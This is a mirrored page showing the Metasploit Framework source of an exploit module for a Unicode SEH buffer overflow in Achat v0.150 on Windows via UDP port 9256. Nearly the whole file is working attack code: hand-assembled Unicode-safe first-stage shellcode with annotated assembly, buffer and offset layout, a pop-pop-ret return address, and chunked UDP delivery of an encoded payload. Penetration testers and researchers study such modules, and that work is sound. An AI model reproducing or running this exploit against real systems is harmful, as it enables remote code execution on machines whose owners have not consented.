Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/achat_bof.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Achat Unicode SEH Buffer Overflow',
17
'Description' => %q{
18
This module exploits a Unicode SEH buffer overflow in Achat. By
19
sending a crafted message to the default port 9256/UDP, it's possible to overwrite the
20
SEH handler. Even when the exploit is reliable, it depends on timing since there are
21
two threads overflowing the stack in the same time. This module has been tested on
22
Achat v0.150 running on Windows XP SP3 and Windows 7.
23
},
24
'Author' => [
25
'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery
26
'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
['CWE', '121'],
31
],
32
'DefaultOptions' => {
33
'EXITFUNC' => 'process'
34
},
35
'Payload' => {
36
'DisableNops' => true,
37
'Space' => 730,
38
'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
39
'StackAdjustment' => -3500,
40
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
41
'EncoderOptions' =>
42
{
43
'BufferRegister' => 'EAX'
44
}
45
},
46
'Platform' => 'win',
47
'Targets' => [
48
# Tested OK Windows XP SP3, Windows 7
49
# Not working on Windows Server 2003
50
[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] # ppr from AChat.exe
51
],
52
'Privileged' => false,
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2014-12-18',
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
Opt::RPORT(9256)
66
]
67
)
68
end
69
70
def exploit
71
connect_udp
72
73
# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding
74
# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding
75
# 55 PUSH EBP # ebp holds a close pointer to the payload
76
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
77
# 58 POP EAX # mov eax, ebp
78
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
79
# 05 00140011 ADD EAX,11001400 # adjusting eax
80
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
81
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
82
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
83
# 50 PUSH EAX # eax points to the start of the shellcode
84
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
85
# 58 POP EAX # padding
86
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
87
# 59 POP ECX # padding
88
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
89
first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
90
91
sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"
92
sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)
93
sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset
94
sploit << "\x61\x40" # POPAD + INC EAX
95
96
sploit << target.ret # AChat.exe p/p/r address
97
98
# adjusting the first thread's unicode payload, tricky asm-fu
99
# the first seh exception jumps here, first_stage variable will be executed
100
# by the second seh exception as well. It needs to be in sync with the second
101
# thread, so that is why we adjust eax/ebp to have a close pointer to the
102
# payload, then first_stage variable will take the rest of the job.
103
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
104
# 55 PUSH EBP # ebp with close pointer to payload
105
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
106
# 58 POP EAX # put ebp to eax
107
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
108
# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place
109
# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more
110
# 05 00140011 ADD EAX,11001400 # more adjusting
111
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
112
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
113
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
114
# 50 PUSH EAX # saving eax
115
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
116
# 5D POP EBP # mov ebp, eax
117
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"
118
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
119
sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 - 3) # put address of the payload to EAX
120
sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload
121
sploit << "\x00" + 'A' * 10 + "\x00"
122
123
i = 0
124
while i < sploit.length do
125
if i > 172000
126
Rex::sleep(1.0)
127
end
128
sent = udp_sock.put(sploit[i..i + 8192 - 1])
129
i += sent
130
end
131
disconnect_udp
132
end
133
end
134
135